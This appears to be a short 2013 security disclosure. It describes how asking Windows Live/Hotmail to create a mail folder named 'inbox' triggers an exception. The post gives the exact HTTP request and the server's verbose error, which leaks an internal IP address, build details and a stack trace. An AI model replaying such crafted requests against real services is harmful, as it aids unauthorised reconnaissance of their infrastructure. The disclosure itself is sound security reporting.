Windows Live bug revealing internal IP addresses

[Q]: What happens when you tell the server of Windows Live web service to add a new mail folder called "inbox" ?
[A]: You will cause an exception, and the sever will reveal its internal IP address along with lots of information.

The original http request:

URL=https://bay002.mail.live.com/mail/mail.fpp?cnmn=Microsoft.Msn.Hotmail.Ui.Fpp.MailBox.AddFolder&ptid=0&a=zI+Z+Up60qdTn5OB+cEGeA==&au=12439714979447027573
POSTDATA=cn=Microsoft.Msn.Hotmail.Ui.Fpp.MailBox&mn=AddFolder&d="inbox","",false&v=1

Note here that a and au parameters will depend on the current user session.

The server response:

new HM.FppReturnPackage(-1,null,null,new HM.FppError("-1","An internal error has occurred.","/mail/mail.fpp?cnmn=Microsoft.Msn.Hotmail.Ui.Fpp.MailBox.AddFolder&ptid=0&a=zI+Z+Up60qdTn5OB+cEGeA==&au=12439714979447027573&cn=Microsoft.Msn.Hotmail.Ui.Fpp.MailBox&mn=AddFolder&d="inbox","",false","ssecgt=Build: 17.0.8068.0118
Domain: hotmail.com
Date: Feb 9, 2013 8:11 PM
ServerIP: 10.111.86.79

ForceSSL: True

Exception Message = Microsoft.Live.Fpp.Service.FppServiceUncaughtException: Uncaught application exception in BeginDispatch ---> System.FormatException: Guid should contain 32 digits with 4 dashes (xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx).\r\n at System.Guid.GuidResult.SetFailure(ParseFailureKind failure, String failureMessageID, Object failureMessageFormatArgument, String failureArgumentName, Exception innerException)\r\n at System.Guid.TryParseGuidWithNoStyle(String guidString, GuidResult& result)\r\n at System.Guid.TryParseGuid(String g, GuidStyles flags, GuidResult& result)\r\n at System.Guid.Parse(String input)\r\n at Microsoft.Msn.Hotmail.Ui.Fpp.MailBox.BeginAddFolder(String folderName, String parentFolderId, Boolean isArchive, AsyncCallback asyncCallback, Object asyncState)\r\n at Microsoft.Live.Fpp._StubDispatchTable.BeginDispatch(FppContext fppContext, String className, String methodName, String[] methodParams, AsyncCallback asyncCallback, Object asyncState)\r\n --- End of inner exception stack trace ---\r\n at Microsoft.Live.Fpp._StubDispatchTable.EndDispatch(FppContext fppContext, IAsyncResult ar)

Execution Callgraph =

Exception UI Message = We can't connect to Outlook right now. Please try again later.

Exception Details: FPP Protocol Error

Url = https://bay002.mail.live.com/mail/mail.fpp?cnmn=Microsoft.Msn.Hotmail.Ui.Fpp.MailBox.AddFolder&ptid=0&a=zI+Z+Up60qdTn5OB+cEGeA==&au=12439714979447027573

Entity Body = cn=Microsoft.Msn.Hotmail.Ui.Fpp.MailBox&mn=AddFolder&d="inbox","",false"),[])